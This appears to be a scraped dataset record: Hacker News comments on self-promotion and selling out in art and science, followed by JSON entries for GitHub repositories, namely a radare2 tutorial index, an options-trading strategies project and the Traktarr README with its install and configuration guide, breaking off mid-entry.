think there's a lot to unpack in this article. I really struggle with self-promotion[1] - or, as my Mother still insists on calling it, \"boasting\" (with all the negative baggage associated with that word) - but, as the article says, there really isn't any alternative to it if you want to get your product/work noticed. The internet has super-saturated the marketplaces for ideas, opinions and all the art/code/writing that accompanies the need to be heard/respected by peers/etc.In my view the Gold Standard for promotion is not self-promotion or paid promotion. It's the elusive word-of-mouth promotion done on your/the work's behalf by complete strangers telling their friends about you/it and encouraging them to go check it out. My evidence for this is based on the number of downloads of my books from Apple Books, Google Play and similar online venues over the past 10 years.I gave up trying to self-promote my writing many, many years ago. Being rejected hurts; being ignored hurts more. Still, over the past 10 years people have downloaded my books over 40,000 times. The only plausible explanations have to be word-of-mouth, and trickery.Trickery? Yes. One book in particular[3] gets downloaded far more often than the others - it accounts for around 70% of total downloads. Why? When I first published it I gave it a title that turned out to be pure clickbait. A happy accident! The book does its own self-promotion without any need need for my help.[1] - Most of my contributions/comments on HN centre around my attempts to self-promote my work in ways that try not to look like marketing spam[2]. I'm sure if I work hard enough at developing this skill I will, eventually, get better at it.[2] - https://news.ycombinator.com/user?id=rikroots[3] - You can read and/or download the book for free, with no added tracking, from my website: https://rikverse2020.rikweb.org.uk/book/poems-to-quote-to-yo...<HN_SEP>Unpopular opinion: Picasso was a much better self promoter than painter. He didn't promote his art, he did art to promote himself.(I understand this opinion is outrageous and provocative; but I do think there's some truth to it.)<HN_SEP>One thing the article misses is the reason why we loom down on self-promotion: it's not because it seems easy, but because it's value neutral. Promotion does not care if you actually did any work or are just shilling a bunch of words void of any idea. The visceral reaction to self promotion is in part due to hard won experience that those that talk loudest about their achievements are often lacking in actual value to offer.That doesn't mean the rest of the article is wrong: promotion is a necessity for most artists ( and many others), but nonetheless there are quite a few people that need to be told to do less self promotion and more actual ( creative, for artists) work.<HN_SEP>One of the fields I work in is science, and I'd say that 'selling-out' and 'promoting yourself' have always been two different things here, but it has seen similar cultural shifts as others have talked about.Self-promotion can be very important in science, and I think it can be driven by an enthusiasm and belief that you have something important to say that would help others in their research.Selling-out had a similar negative connotation in the 90s.  Andrew Wakefield had 'sold-out' by associating himself with a business that severely undermined his authenticity.  These days, cash-strapped universities encourage researchers to hawk themselves to nearby industry in the hope they can get funding and commercial interest, and many researchers are paid to stand up and talk about commercial products.  Science very much relies on speaking honestly and in an balanced way, and combining this with financial interest adds extra strains to integrity.<HN_SEP>My issue with this idea of self promoting to stand out (as the article suggests), is that imagine if everybody did it, including all the creators you are competing against for attention. Overall effort increases, but the signal to noise ratio stays the same.I think an occasional HN post or a tweet is fine, you need to at least introduce your project to the community. But encouraging anything past that first introduction feels like it could lead to a culture of spamming<HN_SEP>Like free speech, people abused communication channels, personal gain is OK but people quickly learned that this is done on their expense, be it their work's credit being stolen (or not fairly shared) or un-proportional recognition  is being given for something.As an example, I used to take part of many Hackathons, as a coder-hacker I loved the social aspect, the inventive work, the crunch mode, the competitiveness.. \nBut some years ago, these events became a competition for some \"big heads\" judges wanting a \"startup worthy business idea\" which turned these hackathons into a competition of \"PowerPoint engineers\".. People would not write a single line of code (best case use some one-pager SaaS generator) and win events..Anyway, this is part of a bigger culture issue, as a developer I came to look down on non-coder \"suites\" and their credit taking, \"center stage\" egos..<HN_SEP>What an excellent, insightful post. This really resonates:\"when self-promotion is done right, it never looks like self-promotion\"Blatant self-promotion manages to cause a visceral reaction in me, but as you note when someone is doing it obliquely then it just becomes an overall part of the story (indeed you the author are doing that a bit here which I wouldn't have even really noticed had you not mentioned it).I'm part of an online community that recently had someone come in, manage to get an admin role and start self-promoting the heck out of themselves and their project. My initial reaction was to take my ball and go home. But some more even-minded folks helped me understand that really it is just, at its root, failed communication. The person likely has a real interest in helping and growing the community, but at the same time is balancing their interest/need to self-promote their own project. If their messaging were just a bit better and less explicit then it could come off in a completely different way.Thanks for sharing such a great piece!<HN_SEP>I greatly benefit from services that find the good non-promoted creators and allow me to discover their creations.Read Something Interesting [0] is a great example of this, along with all the curated newsletters that are popping up these days.[0] http://readsomethinginteresting.com/<HN_SEP>The Bill Watterson discussion was about what happened after he became famous and he did not need self promotion and had more money than he needed.He had no desire to do more Calvin&Hobbes. He had enough money.When there is no  necessity of promotion and having said everything that needs to be said, and you just want to sell more, that's when selling out and cashing out comes to the picture.---ps.(1) selling out in art means changing  the material to a mainstream or commercial audience.(2) cashing out in this context means milking your art for money without much effort.(3) promotion is the necessary work to get the attention of the audience who actually like your work.<HN_SEP>I have listened to David Bowies last album Black Star many times. I think most people will agree that it's some of his harder-to-digest work and it took me quite a while to warm up to it. In fact, I am probably still in that process. The only reason I am willing to keep listening is that I know that Bowie was able to create music that affects me deeply so it's likely to be worth it. And even better, in my experience, the music that I have to warm up to tends to be what I love the most over the years where as the refined-sugar stuff tends to please me for a week and then fades.My point here though is that I would not know this about David Bowie if it wasn't for his easier work and all the promotion that he did/had.I think many artists go through a process of creating music that is more broadly appealing with time (for instance, Amy Winehouses Back to Black is easier to digest than the previous album Frank). Maybe this is because they want to reach a broader market, or maybe it's because they develop their ear to be better at making stuff that \"works\", I don't know. But I am grateful for the effect even so, as it seems to be the way my brain deems a new artist worth listening to. But promotion is definitely necessary as well. And this same pattern applies to the other arts just the same.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ITAYC0HEN/A-journey-into-Radare2", "link": "https://github.com/ITAYC0HEN/A-journey-into-Radare2", "tags": ["radare2", "tutorials"], "stars": 505, "description": "A series of tutorials about radare2 framework from https://www.megabeets.net", "lang": "Python", "repo_lang": "", "readme": "# A journey into Radare2\n\n### A series of tutorials about radare2 framework from https://www.megabeets.net\n\n<br>\n<p align=\"center\">\n  <img src=\"https://i1.wp.com/www.megabeets.net/uploads/r2_part1_1.png\"/>\n</p>\n<br>\nBecause I got really enthusiastic about radare2 and I want more and more researchers to be familiar with it, use it and hopefully contribute to the project, I decided to create a series of articles and use-cases of r2. These articles aim to teach you the basics of radare2, its features and capabilities.\n\n#### Articles:\n\n* [x] [Part 1 \u2013 Introduction, Simple Crackme](https://www.megabeets.net/a-journey-into-radare-2-part-1/)\n* [x] [Part 2 \u2013 Exploitation](https://www.megabeets.net/a-journey-into-radare-2-part-2/)\n* [x] Part 3 - Cutter, Scripting and Malware Analysis ([Part 1](https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1), [Part 2](https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2))\n\n\n#### Others (Generic):\n\n* [x] [Reverse engineering a Gameboy ROM with radare2](https://www.megabeets.net/reverse-engineering-a-gameboy-rom-with-radare2)\n* [x] [Reversing a self-modifying binary with radare2](https://www.megabeets.net/reversing-a-self-modifying-binary-with-radare2)\n\n<br><br>\nFeel free to [contact me](https://www.megabeets.net/about.html#contact) with any question or thought you have.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "PyPatel/Options-Trading-Strategies-in-Python", "link": "https://github.com/PyPatel/Options-Trading-Strategies-in-Python", "tags": ["options-trading", "quantitative-finance", "quantitative-trading", "indicators", "machine-learning", "machine-learning-algorithms", "python", "python3", "quantitative", "quantitative-investment", "quantitative-strategies", "options-trading-strategies", "technical-indicators"], "stars": 505, "description": "Developing Options Trading Strategies using Technical Indicators and Quantitative Methods", "lang": "Python", "repo_lang": "", "readme": "# Options-Trading-Strategies-in-Python\n\nI have Created code for Options Trading based on Various Trading Technical Indicators.\n\n1. Volatility Index (VIX) based Strategy\n2. Put / Call Ratio (PCR) based Strategy\n3. Trading Index (TRIN) based Strategy\n4. Turtle Trading based Strategy\n5. Monte Carlo Option Pricing in C++\n\nStill working on more advanced Strategies based on **Black Scholes Merton Option Pricing**. Next I will work on incorporating **Time Series** and **Neural Networks** (RNNs to be specific) to improve accuraacy (Decrease Standard Deviation from current models) and Perfomance.  \n\n**LSTMs** have gave me promosing results and now I am exploring advance LSTM like MD-LSTM and MiD-LSTM for better prediction and more feature inclusion.\n\n### Help & Motivate my work by little generosity:\n\n[![donateBitcoin](https://img.shields.io/badge/Donate-Bitcoin-yellow.svg)](https://tradeblock.com/bitcoin/address/1HQaop8Vs3xLdNATfGWZzBNw211AGUT1ND)\n[![donateEthereum](https://img.shields.io/badge/Donate-Ethereum-lightgrey.svg)](https://tradeblock.com/ethereum/account/0x462aD1ba8b73160e410e509F21c21C70Cf9dee7e)\n\n### My Work and Profile\n\n[![viewLinkedIn](https://img.shields.io/badge/View-LinkedIn-blue.svg)](https://www.linkedin.com/in/statsofharshpatel/)    [![viewGithub](https://img.shields.io/badge/View-Github-orange.svg)](https://github.com/PyPatel)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "l3uddz/traktarr", "link": "https://github.com/l3uddz/traktarr", "tags": [], "stars": 505, "description": "Script to add new series & movies to Sonarr/Radarr based on Trakt lists.", "lang": "Python", "repo_lang": "", "readme": "<img src=\"assets/logo.svg\" width=\"600\" alt=\"Traktarr\">\n\n[![made-with-python](https://img.shields.io/badge/Made%20with-Python-blue.svg?style=flat-square)](https://www.python.org/)\n[![License: GPL v3](https://img.shields.io/badge/License-GPL%203-blue.svg?style=flat-square)](https://github.com/l3uddz/traktarr/blob/master/LICENSE.md)\n[![last commit (master)](https://img.shields.io/github/last-commit/l3uddz/traktarr/master.svg?colorB=177DC1&label=Last%20Commit&style=flat-square)](https://github.com/l3uddz/traktarr/commits/master)\n[![Discord](https://img.shields.io/discord/853755447970758686.svg?colorB=177DC1&label=Discord&style=flat-square)](https://discord.gg/ugfKXpFND8)\n[![Contributing](https://img.shields.io/badge/Contributing-gray.svg?style=flat-square)](CONTRIBUTING.md)\n[![Donate](https://img.shields.io/badge/Donate-gray.svg?style=flat-square)](DONATIONS.md)\n\n\n---\n\n<!-- TOC depthFrom:1 depthTo:6 withLinks:1 updateOnSave:1 orderedList:0 -->\n\n- [Introduction](#introduction)\n- [Demo](#demo)\n- [Requirements](#requirements)\n- [Installation](#installation)\n  - [1. Base Install](#1-base-install)\n  - [2. Create a Trakt Application](#2-create-a-trakt-application)\n  - [3. Authenticate User(s) (optional)](#3-authenticate-users-optional)\n- [Configuration](#configuration)\n  - [Sample Configuration](#sample-configuration)\n  - [Core](#core)\n  - [Automatic](#automatic)\n    - [Personal Watchlists](#personal-watchlists)\n    - [Custom Lists](#custom-lists)\n      - [Public Lists](#public-lists)\n      - [Private Lists](#private-lists)\n  - [Filters](#filters)\n    - [Movies](#movies)\n    - [Shows](#shows)\n  - [Notifications](#notifications)\n    - [Apprise](#apprise)\n    - [Pushover](#pushover)\n    - [Slack](#slack)\n  - [Radarr](#radarr)\n  - [Sonarr](#sonarr)\n  - [Trakt](#trakt)\n  - [OMDb](#omdb)\n- [Usage](#usage)\n  - [Automatic (Scheduled)](#automatic-scheduled)\n    - [Setup](#setup)\n    - [Customize](#customize)\n  - [Manual (CLI)](#manual-cli)\n    - [General](#general)\n    - [Movie (Single Movie)](#movie-single-movie)\n    - [Movies (Multiple Movies)](#movies-multiple-movies)\n    - [Show (Single Show)](#show-single-show)\n    - [Shows (Multiple Shows)](#shows-multiple-shows)\n  - [Examples (CLI)](#examples-cli)\n    - [Movies](#movies-1)\n    - [Shows](#shows-1)\n- [Donate](#donate)\n\n<!-- /TOC -->\n\n---\n\n# Introduction\n\nTraktarr uses Trakt.tv to find shows and movies to add in to Sonarr and Radarr, respectively.\n\nTypes of Trakt lists supported:\n\n- Official Trakt Lists\n\n  - Trending\n\n  - Popular\n\n  - Anticipated\n\n  - Box Office\n\n  - Most Watched\n\n  - Most Played\n\n- Public Lists\n\n- Private Lists*\n\n  - Watchlist\n\n  - Custom List(s)\n\n\\* Support for multiple (authenticated) users.\n\n# Demo\n\nClick to enlarge.\n\n[![asciicast](assets/demo.gif)](https://asciinema.org/a/180044)\n\n\n# Requirements\n\n1. Debian OS (can work in other operating systems as well).\n\n2. Python 3.5+\n\n3. Required Python modules.\n\n\n# Installation\n\n## 1. Base Install\n\nInstalls Traktarr to the system so that it can be ran with the `traktarr` command.\n\n\n1. Clone the Traktarr repo.\n\n   ```\n   sudo git clone https://github.com/l3uddz/traktarr /opt/traktarr\n   ```\n\n1. Fix permissions of the `traktarr` folder (replace `user`/`group` with your info; run `id` to check).\n\n   ```\n   sudo chown -R user:group /opt/traktarr\n   ```\n\n1. Go into the `traktarr` folder.\n\n   ```\n   cd /opt/traktarr\n   ```\n\n1. Install Python and PIP.\n\n   ```\n   sudo apt-get install python3 python3-pip\n   ```\n\n1. Install the required python modules.\n\n   ```\n   sudo python3 -m pip install -r requirements.txt\n   ```\n\n1. Create a shortcut for `traktarr`.\n\n   ```\n   sudo ln -s /opt/traktarr/traktarr.py /usr/local/bin/traktarr\n   ```\n\n1. Generate a basic `config.json` file.\n\n   ```\n   traktarr run\n   ```\n\n1. Configure the `config.json` file.\n\n   ```\n   nano config.json\n   ```\n\n## 2. Create a Trakt Application\n\n1. Create a Trakt application by going [here](https://trakt.tv/oauth/applications/new)\n\n2. Enter a name for your application; for example `traktarr`\n\n3. Enter `urn:ietf:wg:oauth:2.0:oob` in the `Redirect uri` field.\n\n4. Click \"SAVE APP\".\n\n5. Open the Traktarr configuration file `config.json` and insert your Trakt Client ID in the `client_id` and your Trakt Client Secret in the `client_secret`, like this:\n\n   ```json\n   \"trakt\": {\n       \"client_id\": \"your_trakt_client_id\",\n       \"client_secret\": \"your_trakt_client_secret\"\n   }\n   ```\n\n## 3. Authenticate User(s) (optional)\n\nFor each user you want to access the private lists for (i.e. watchlist and/or custom lists), you will need to to authenticate that user.\n\nRepeat the following steps for every user you want to authenticate:\n\n1. Run the following command:\n\n   ```\n   traktarr trakt_authentication\n   ```\n\n\n2. You wil get the following prompt:\n\n   ```\n   - We're talking to Trakt to get your verification code. Please wait a moment...\n   - Go to: https://trakt.tv/activate on any device and enter A0XXXXXX. We'll be polling Trakt every 5 seconds for a reply\n   ```\n3. Go to https://trakt.tv/activate.\n\n4. Enter the code you see in your terminal.\n\n5. Click **Continue**.\n\n6. If you are not logged in to Trakt.tv, login now.\n\n7. Click **Accept**.\n\n8. You will get the message: \"Woohoo! Your device is now connected and will automatically refresh in a few seconds.\".\n\nYou've now authenticated the user.\n\nYou can repeat this process for as many users as you like.\n\n\n# Configuration\n\n## Sample Configuration\n\n```json\n{\n  \"core\": {\n    \"debug\": false\n  },\n  \"automatic\": {\n    \"movies\": {\n      \"anticipated\": 3,\n      \"boxoffice\": 10,\n      \"interval\": 24,\n      \"popular\": 3,\n      \"trending\": 2\n    },\n    \"shows\": {\n      \"anticipated\": 10,\n      \"interval\": 48,\n      \"popular\": 1,\n      \"trending\": 2\n    }\n  },\n  \"filters\": {\n    \"movies\": {\n      \"disabled_for\": [],\n      \"allowed_countries\": [\n        \"us\",\n        \"gb\",\n        \"ca\"\n      ],\n      \"allowed_languages\": [\n        \"en\"\n      ],\n      \"blacklisted_genres\": [\n        \"documentary\",\n        \"music\",\n        \"animation\"\n      ],\n      \"blacklisted_max_runtime\": 0,\n      \"blacklisted_min_runtime\": 60,\n      \"blacklisted_min_year\": 2000,\n      \"blacklisted_max_year\": 2019,\n      \"blacklisted_title_keywords\": [\n        \"untitled\",\n        \"barbie\",\n        \"ufc\"\n      ],\n      \"blacklisted_tmdb_ids\": [],\n      \"rotten_tomatoes\": \"\"\n    },\n    \"shows\": {\n      \"disabled_for\": [],\n      \"allowed_countries\": [\n        \"us\",\n        \"gb\",\n        \"ca\"\n      ],\n      \"allowed_languages\": [],\n      \"blacklisted_genres\": [\n        \"animation\",\n        \"game-show\",\n        \"talk-show\",\n        \"home-and-garden\",\n        \"children\",\n        \"reality\",\n        \"anime\",\n        \"news\",\n        \"documentary\",\n        \"special-interest\"\n      ],\n      \"blacklisted_networks\": [\n        \"twitch\",\n        \"youtube\",\n        \"nickelodeon\",\n        \"hallmark\",\n        \"reelzchannel\",\n        \"disney\",\n        \"cnn\",\n        \"cbbc\",\n        \"the movie network\",\n        \"teletoon\",\n        \"cartoon network\",\n        \"espn\",\n        \"yahoo!\",\n        \"fox sports\"\n      ],\n      \"blacklisted_max_runtime\": 0,\n      \"blacklisted_min_runtime\": 15,\n      \"blacklisted_min_year\": 2000,\n      \"blacklisted_max_year\": 2019,\n      \"blacklisted_title_keywords\": [],\n      \"blacklisted_tvdb_ids\": []\n    }\n  },\n  \"notifications\": {\n    \"pushover\": {\n      \"service\": \"pushover\",\n      \"app_token\": \"\",\n      \"user_token\": \"\",\n      \"priority\": 0\n    },\n    \"slack\": {\n      \"service\": \"slack\",\n      \"webhook_url\": \"\"\n    },\n    \"verbose\": true\n  },\n  \"radarr\": {\n    \"api_key\": \"\",\n    \"minimum_availability\": \"released\",\n    \"quality\": \"HD-1080p\",\n    \"root_folder\": \"/movies/\",\n    \"url\": \"http://localhost:7878/\"\n  },\n  \"sonarr\": {\n    \"api_key\": \"\",\n    \"language\": \"English\",\n    \"quality\": \"HD-1080p\",\n    \"root_folder\": \"/tv/\",\n    \"season_folder\": true,\n    \"tags\": [],\n    \"url\": \"http://localhost:8989/\"\n  },\n  \"trakt\": {\n    \"client_id\": \"\",\n    \"client_secret\": \"\"\n  },\n  \"omdb\": {\n    \"api_key\": \"\"\n  }\n}\n```\n\n\n## Core\n\n```json\n\"core\": {\n  \"debug\": false\n},\n```\n\n`debug` - Toggle debug messages in the log. Default is `false`.\n\n  - Set to `true`, if you are having issues and want to diagnose why.\n\n\n## Automatic\n\n```json\n\"automatic\": {\n  \"movies\": {\n    \"anticipated\": 3,\n    \"boxoffice\": 10,\n    \"interval\": 24,\n    \"popular\": 3,\n    \"trending\": 0,\n    \"watched\": 2,\n    \"played_all\": 2,\n    \"watchlist\": {},\n    \"lists\": {},\n  },\n  \"shows\": {\n    \"anticipated\": 10,\n    \"interval\": 48,\n    \"popular\": 1,\n    \"trending\": 2,\n    \"watched_monthly\": 2,\n    \"played\": 2,\n    \"watchlist\": {},\n    \"lists\": {}\n  }\n},\n```\nUsed for automatic / scheduled Traktarr tasks.\n\nMovies can be run on a separate schedule then from Shows.\n\n_Note: These settings are only needed if you plan to use Traktarr on a schedule (vs just using it as a CLI command only; see [Usage](#usage))._\n\nFormat:\n\n - \"List Name\": # of items to add into Radarr/Sonarr.\n\n_Note: The number specified is the number of items that will be added into Radarr/Sonarr. It is not a Trakt list limit, i.e. this is not going to lookup Top X items._\n\n### Interval\n\n`interval` - Specify how often (in hours) to run Traktarr task.\n\n  - Setting `interval` to `0`, will skip the schedule for that task.\n\n  - For example, if you only want to add movies and not TV shows, you can set show's `interval` to `0`.\n\n### Official Trakt Lists\n\n`anticipated` - Trakt Anticipated List.\n\n- Most anticipated movies/shows based on the number of lists a movie/show appears on.\n\n`popular` - Trakt Popular List.\n\n-  Most popular movies/shows. Popularity is calculated using the rating percentage and the number of ratings.\n\n`trending` - Trakt Trending List.\n\n- All movies/shows being watched right now. Movies with the most users are returned first.\n\n`boxoffice` - Trakt Box Office List. Movies only.\n\n- Top 10 grossing movies in the U.S. box office last weekend. Updated every Monday morning.\n\n`watched` - Most watched (unique users) movies in the specified time period.\n\n  - `watched` / `watched_weekly` - Most watched in the week.\n\n  - `watched_monthly` - Most watched in the month.\n\n  - `watched_yearly` - Most watched in the year.\n\n  - `watched_all` - Most watched of all time.\n\n`played` - Most played (a single user can watch multiple times) items in the specified time period.\n\n  - `played` / `played_weekly` - Most played in the week.\n\n  - `played_monthly` - Most played in the month.\n\n  - `played_yearly` - Most played in the year.\n\n  - `played_all` Most played of all time.\n\n`watchlist` - Specify which watchlists to fetch (see explanation below).\n\n### Custom Lists\n\n`lists` - Specify which custom lists to fetch (see explanation below).\n\nYou can also schedule any number of public or private custom lists.\n\nFor both public and private lists you'll need the url to that list. When viewing the list on Trakt, simply copy the url from the address bar of the your browser.\n\n_Note: These are for non-watchlist lists. If you want to add a watchlist list, use the next section below._\n\n#### Public Lists\n\nPublic lists can be added by specifying the url and the item limit like this:\n\n```json\n\"automatic\": {\n  \"movies\": {\n    \"lists\": {\n        \"https://trakt.tv/users/rkerwin/lists/top-100-movies\": 10\n    }\n  },\n  \"shows\": {\n    \"lists\": {\n        \"https://trakt.tv/users/claireaa/lists/top-100-tv-shows-of-all-time-ign\": 10\n    }\n  }\n},\n```\n\n\n#### Private Lists\n\nPrivate lists can be added in two ways:\n\n1. If there is only one authenticated user, you can add the private list just like any other public list:\n\n   ```json\n   \"automatic\": {\n     \"movies\": {\n       \"lists\": {\n           \"https://trakt.tv/users/user/lists/my-private-movies-list\": 10\n       }\n     },\n     \"shows\": {\n       \"lists\": {\n           \"https://trakt.tv/users/user/lists/my-private-shows-list\": 10\n       }\n     }\n   },\n   ```\n\n2. If there are multiple authenticated users you want to fetch the lists from, you'll need to specify the username under `authenticate_as`.\n\n   _Note: The user should have access to the list (either own the list or a list that was shared to them by a friend)._\n\n   ```json\n   \"automatic\": {\n     \"movies\": {\n       \"lists\": {\n           \"https://trakt.tv/users/user/lists/my-private-movies-list\": {\n               \"authenticate_as\": \"user2\",\n               \"limit\": 10\n           }\n       }\n     },\n     \"shows\": {\n       \"lists\": {\n           \"https://trakt.tv/users/user/lists/my-private-shows-list\": {\n               \"authenticate_as\": \"user2\",\n               \"limit\": 10\n           }\n       }\n     }\n   },\n   ```\n### Personal Trakt Watchlists\n\nThe watchlist task can be scheduled with a different item limit for every (authenticated) user.\n\nSo for every user, you will add: `\"username\": limit` to the watchlist key. For example:\n\n```json\n\"automatic\": {\n  \"movies\": {\n    \"watchlist\": {\n        \"user1\": 10,\n        \"user2\": 5\n    }\n  },\n  \"shows\": {\n    \"watchlist\": {\n        \"user1\": 2,\n        \"user3\": 1\n    }\n  }\n},\n```\n\n\n## Filters\n\nUse filters to specify the movie/shows's country of origin or blacklist (i.e. filter-out) certain keywords, genres, years, runtime, or specific movies/shows.\n\n### Movies\n\n```json\n  \"movies\": {\n    \"disabled_for\": [],\n    \"allowed_countries\": [\n      \"us\",\n      \"gb\",\n      \"ca\"\n    ],\n    \"allowed_languages\": [],\n    \"blacklisted_genres\": [\n      \"documentary\",\n      \"music\",\n      \"animation\"\n    ],\n    \"blacklisted_max_runtime\": 0,\n    \"blacklisted_min_runtime\": 60,\n    \"blacklisted_min_year\": 2000,\n    \"blacklisted_max_year\": 2019,\n    \"blacklisted_title_keywords\": [\n      \"untitled\",\n      \"barbie\"\n    ],\n    \"blacklisted_tmdb_ids\": [],\n    \"rotten_tomatoes\": \"\"\n  },\n```\n\n`disabled_for` - Specify for which lists the blacklist is disabled for, when running in automatic mode.\n\n- This is similar to running `--ignore-blacklist` via the CLI command.\n\n- Example:\n\n  ```json\n  \"disabled_for\": [\n      \"anticipated\",\n      \"watchlist:user1\",\n      \"list:http://url-to-list\"\n  ],\n  ```\n\n`allowed_countries` - Only add movies from these countries. Listed as two-letter country codes.\n\n- [List of available country codes](assets/list_of_country_codes.md).\n\n- Special keywords:\n\n  - Blank list (i.e. `[]`) - Add movies from any country.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add movies from any country, including ones with no country specified.\n\n`allowed_languages` - Only add movies with these languages. Listed as two-letter language codes.\n\n- Languages are in [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) format (e.g. `ja` for Japanese.)\n\n- [List of available language codes](assets/list_of_language_codes.md).\n\n- Special keywords:\n\n  - Blank list (i.e. `[]`) - Add movies with any language.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add movies with any language, including ones with no language specified.\n\n`blacklisted_genres` - Blacklist certain genres.\n\n- [List of available movie genres](assets/list_of_movie_genres.md).\n\n- For an updated list, visit [here](https://trakt.docs.apiary.io/#reference/genres/list/get-genres).\n\n- Special Keywords:\n\n  - Blank list (i.e. `[]`) - Add movies from any genre.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add movies from any genre, including ones with no genre specified.\n\n`blacklisted_min_runtime` - Blacklist runtime duration shorter than specified time (in minutes).\n\n`blacklisted_max_runtime` - Blacklist runtime duration longer than specified time (in minutes).\n\n  - Has to be longer than `blacklisted_min_runtime` or else it will be ignored.\n\n`blacklisted_min_year` - Blacklist release dates before specified year. This can be a 4 digit year, `0`, or `-<number of years to go back>` format. \n\n- If `0`, blacklist movies that came out before the current year. \n\n- If `-10`, blacklist movies that came out 10 years before the current year.\n\n`blacklisted_max_year` - Blacklist release dates after specified year. This can be a 4 digit year, `0`, or `+<number of years to go forward>` format.\n\n- If `0`, blacklist movies that are coming out after the current year. \n\n- If `+1`, blacklist movies that are coming out after 1 year from current year.\n\n`blacklisted_title_keywords` - Blacklist certain words in titles.\n\n`blacklisted_tmdb_ids` - Blacklist certain movies with their TMDB IDs.\n\n  - Example:\n\n    ```json\n    \"blacklisted_tmdb_ids\": [\n      140607,\n      181808\n    ],\n    ```\n\n`rotten_tomatoes` - Only add movies that are equal to or above this Rotten Tomatoes score. Requires an OMDb API Key (see [below](#omdb)).\n\n### Shows\n\n```json\n\"shows\": {\n  \"allowed_countries\": [\n    \"us\",\n    \"gb\",\n    \"ca\"\n  ],\n  \"allowed_languages\": [],\n  \"blacklisted_genres\": [\n    \"animation\",\n    \"game-show\",\n    \"talk-show\",\n    \"home-and-garden\",\n    \"children\",\n    \"reality\",\n    \"anime\",\n    \"news\",\n    \"documentary\",\n    \"special-interest\"\n  ],\n  \"blacklisted_networks\": [\n    \"twitch\",\n    \"youtube\",\n    \"nickelodeon\",\n    \"hallmark\",\n    \"reelzchannel\",\n    \"disney\",\n    \"cnn\",\n    \"cbbc\",\n    \"the movie network\",\n    \"teletoon\",\n    \"cartoon network\",\n    \"espn\",\n    \"yahoo!\",\n    \"fox sports\"\n  ],\n  \"blacklisted_max_runtime\": 0,\n  \"blacklisted_min_runtime\": 15,\n  \"blacklisted_min_year\": 2000,\n  \"blacklisted_max_year\": 2019,\n  \"blacklisted_title_keywords\": [],\n  \"blacklisted_tvdb_ids\": []\n}\n```\n\n`disabled_for` - Specify for which lists the blacklist is disabled for, when running in automatic mode.\n\n- This is similar to running `--ignore-blacklist` via the CLI command.\n\n- Example:\n\n  ```json\n  \"disabled_for\": [\n      \"anticipated\",\n      \"watchlist:user1\",\n      \"list:http://url-to-list\"\n  ],\n  ```\n\n`allowed_countries` - Only add shows from these countries. Listed as two-letter country codes.\n\n- [List of available country codes](assets/list_of_country_codes.md).\n\n- Special keywords:\n\n  - Blank list (i.e. `[]`) - Add shows from any country.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add shows from any country, including ones with no country specified.\n\n`allowed_languages` - Only add shows with these languages.\n\n- Languages are in [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) format (e.g. `ja` for Japanese.)\n\n- [List of available language codes](assets/list_of_language_codes.md).\n\n- Special keywords:\n\n  - Blank list (i.e. `[]`) - Add shows with any language.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add shows with any language, including ones with no language specified.\n  \n`blacklisted_genres` - Blacklist certain genres.\n\n- [List of available TV show genres](assets/list_of_tv_show_genres.md).\n\n- For an updated list, visit [here](https://trakt.docs.apiary.io/#reference/genres/list/get-genres).\n\n- Special Keywords:\n\n  - Blank list (i.e. `[]`) - Add shows from any genre.\n\n  - `ignore` (i.e. `[\"ignore\"]`) - Add shows from any genre, including ones with no genre specified.\n\n`blacklisted_networks` - Blacklist certain network.\n\n`blacklisted_min_runtime` - Blacklist runtime duration shorter than specified time (in minutes).\n\n`blacklisted_max_runtime` - Blacklist runtime duration longer than specified time (in minutes).\n\n  - Has to be longer than `blacklisted_min_runtime` or else it will be ignored.\n\n`blacklisted_min_year` - Blacklist release dates before specified year. This can be a 4 digit year, `0`, or `-<number of years to go back>` format.\n\n- If `0`, blacklist shows that came out before the current year. \n\n- If `-10`, blacklist shows that came out 10 years before the current year.\n\n`blacklisted_max_year` - Blacklist release dates after specified year. This can be a 4 digit year, `0`, or `+<number of years to go forward>` format.\n\n- If `0`, blacklist shows that are coming out after the current year. \n\n- If `+1`, blacklist shows that are coming out after 1 year from current year.\n\n`blacklisted_title_keywords` - Blacklist certain words in titles.\n\n`blacklisted_tvdb_ids` - Blacklist certain shows with their TVDB IDs.\n\n  - Example:\n\n    ```json\n    \"blacklisted_tvdb_ids\": [\n      79274,\n      85287,\n      71256,\n      194751,\n      76733,\n      336238\n    ],\n    ```\n\n\n## Notifications\n\n\n```json\n\"notifications\": {\n  \"Apprise\": {\n    \"service\": \"apprise\",\n    \"url\": \"\",\n    \"title\": \"\"\n  },\n  \"verbose\": false\n},\n```\n\nNotification alerts for Traktarr tasks.\n\nFor auto (i.e. scheduled) runs, notifications are enabled automatically when notification services are listed in this section.\n\nFor manual (i.e. CLI) commands, you need to add the  `--notifications` flag.\n\nSupported `services`:\n - `apprise`\n - `pushover`\n - `slack`\n\n_Note: The key name can be anything, but the `service` key must be must be the exact service name (e.g. `pushover`). See below for example._\n\n\n```json\n\"notifications\": {\n  \"anyname\": {\n    \"service\": \"pushover\",\n  }\n},\n```\n\n\n### General\n\n`verbose` - Toggle detailed notifications.\n\n  - Default is `true`.\n\n  - Set to `false` if you want to reduce the amount of detailed notifications (e.g. just the total vs the names of the movies/shows added).\n\n```json\n\"notifications\": {\n  \"verbose\": true\n},\n```\n\n### Apprise\n\n```json\n\"notifications\": {\n  \"Apprise\": {\n    \"service\": \"apprise\",\n    \"url\": \"\",\n    \"title\": \"\"\n  },\n  \"verbose\": false\n},\n```\n\n`url` - Apprise service URL (see [here](https://github.com/caronc/apprise)).\n\n - Required.\n\n`title` - Notification Title.\n\n - Optional.\n\n - Default is `Traktarr`.\n\n\n### Pushover\n\n```json\n\"notifications\": {\n  \"pushover\": {\n    \"service\": 